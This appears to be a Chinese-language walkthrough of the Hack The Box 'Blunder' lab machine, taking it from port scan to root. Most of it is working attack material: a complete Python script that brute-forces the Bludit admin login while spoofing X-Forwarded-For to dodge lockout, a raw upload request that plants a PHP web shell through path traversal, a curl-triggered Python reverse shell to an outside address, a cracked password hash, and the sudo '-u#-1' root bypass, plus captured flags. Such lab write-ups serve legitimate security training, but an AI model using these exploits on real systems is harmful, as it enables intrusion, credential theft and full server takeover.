[Meachines] [Easy] Blunder Bludit-CMS-Upload+SUDO-Bypass权限提升

信息收集

IP Address Opening Ports
10.10.10.191 TCP:80

$ nmap -p- 10.10.10.191 --min-rate 1000 -sC -sV

bash 复制代码
80/tcp open   http    Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Blunder
|_http-title: Blunder | A blunder of interesting facts
|_http-server-header: Apache/2.4.41 (Ubuntu)

www-data 权限

$ gobuster dir -u "http://10.10.10.191/" -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x txt,php -b 404,403 -t 50

http://10.10.10.191/todo.txt

username:fergus

$ cewl 10.10.10.191 > pass.txt

python 复制代码
#!/usr/bin/env python3
import re
import requests

host = 'http://10.10.10.191'
login_url = host + '/admin/login'
username = 'fergus'
wordlist = []


with open('pass.txt', 'r') as words:
    for line in words:
        line = line.rstrip()
        wordlist.append(line)


for password in wordlist:
    session = requests.Session()
    login_page = session.get(login_url)

    csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text).group(1)

    print('[*] Trying: {p}'.format(p=password))

    headers = {
        'X-Forwarded-For': password,
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36',
        'Referer': login_url
    }

    data = {
        'tokenCSRF': csrf_token,
        'username': username,
        'password': password,
        'save': ''
    }

    login_result = session.post(login_url, headers=headers, data=data, allow_redirects=False)

    if 'location' in login_result.headers:
        if '/admin/dashboard' in login_result.headers['location']:
            print()
            print('SUCCESS: Password found!')
            print('Use {u}:{p} to login.'.format(u=username, p=password))
            print()
            break

$ python3 exp.py

Password:RolandDeschain

https://github.com/bludit/bludit/issues/1081

bash 复制代码
POST /admin/ajax/upload-images HTTP/1.1
Host: 10.10.10.191
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------423763520129402281753554177338
Content-Length: 173373
Origin: http://10.10.10.191
Connection: close
Referer: http://10.10.10.191/admin/new-content
Cookie: BLUDIT-KEY=7vn276oblmdb0l4kt4n3sltkl5


-----------------------------423763520129402281753554177338
Content-Disposition: form-data; name="images[]"; filename="TEAM.php"
Content-Type: image/png


<?=phpinfo();system($_GET[0]);?>
-----------------------------423763520129402281753554177338

Content-Disposition: form-data; name="uuid"


../../tmp
-----------------------------423763520129402281753554177338
Content-Disposition: form-data; name="tokenCSRF"


96062fa2efef00e52320951d57034af3a4f480f4
-----------------------------423763520129402281753554177338--

$ curl "http://10.10.10.191/bl-content/tmp/TEAM.php?0=python%20-c%20'import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%2210.10.16.6%22%2C10032))%3Bos.dup2(s.fileno()%2C0)%3B%20os.dup2(s.fileno()%2C1)%3Bos.dup2(s.fileno()%2C2)%3Bimport%20pty%3B%20pty.spawn(%22%2Fbin%2Fsh%22)'"

User 权限

$ cat /var/www/bludit-3.10.0a/bl-content/databases/users.php

username:hugo
hash:faca404fd5c0a31cf1897b823c695c85cffeb98d

https://md5decrypt.net/en/Sha1/

!

password:Password120

User.txt

$ cat /home/hugo/user.txt

cb37fd3c2e81e209769763b3fd001348

权限提升

$ sudo --version

$ sudo -u#-1 /bin/bash

Root.txt

# cat /root/root.txt

d10d349c006d7beb3e00cf067fba123d

相关推荐
HeLLo_a1191 小时前
第11章 安全网络架构和组件(一)
linux·服务器·网络
薯条不要番茄酱1 小时前
【网络原理】从零开始深入理解HTTP的报文格式(一)
网络·网络协议·http
南川琼语1 小时前
TCP概念+模拟tcp服务器及客户端
linux·服务器·网络·tcp/ip
智联视频超融合平台2 小时前
慧港口新纪元:视频监控联网平台赋能高效安全运营
网络·网络协议·音视频·实时音视频·视频编解码
潘yi.6 小时前
web技术与nginx网站环境部署
服务器·网络·nginx
Jtti7 小时前
Jtti:nginx服务器如何限制访问频率
服务器·网络·nginx
视觉&物联智能7 小时前
【杂谈】-人工智能驱动的网络安全威胁:新一代网络钓鱼
网络·人工智能·web安全·网络安全·安全威胁分析
学习溢出9 小时前
【网络安全】网络钓鱼的类型
网络·安全·网络安全·网络钓鱼·社会工程
KAXA_9 小时前
智能电网第5期 | 老旧电力设备智能化改造:协议转换与边缘计算
网络·硬件工程·信息与通信·智能电网
Zz_waiting.10 小时前
网络原理 - 10(HTTP/HTTPS - 1)
网络·http·https